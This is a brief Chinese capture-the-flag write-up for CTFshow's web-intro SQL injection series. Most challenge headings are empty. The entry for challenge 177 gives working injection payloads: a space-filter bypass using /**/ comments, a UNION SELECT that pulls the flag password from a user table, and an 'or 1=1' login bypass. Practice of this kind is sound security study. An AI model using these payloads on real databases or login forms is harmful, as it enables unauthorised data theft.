CTFshow--web入门[SQL]171---253持续更新中

171

从171到176的wp之前写在别的地方了，有时间了再移过来

172

173

174

175

176

177

1''

有回显

1'/**/order/**/by/**/3%23

空格被过滤了替换成内联注释 /**/  

payload：

1'/**/union/**/select/**/1,2,password/**/from/**/ctfshow_user/**/where/**/username='flag'%23

万能密码

1'or/**/1=1%23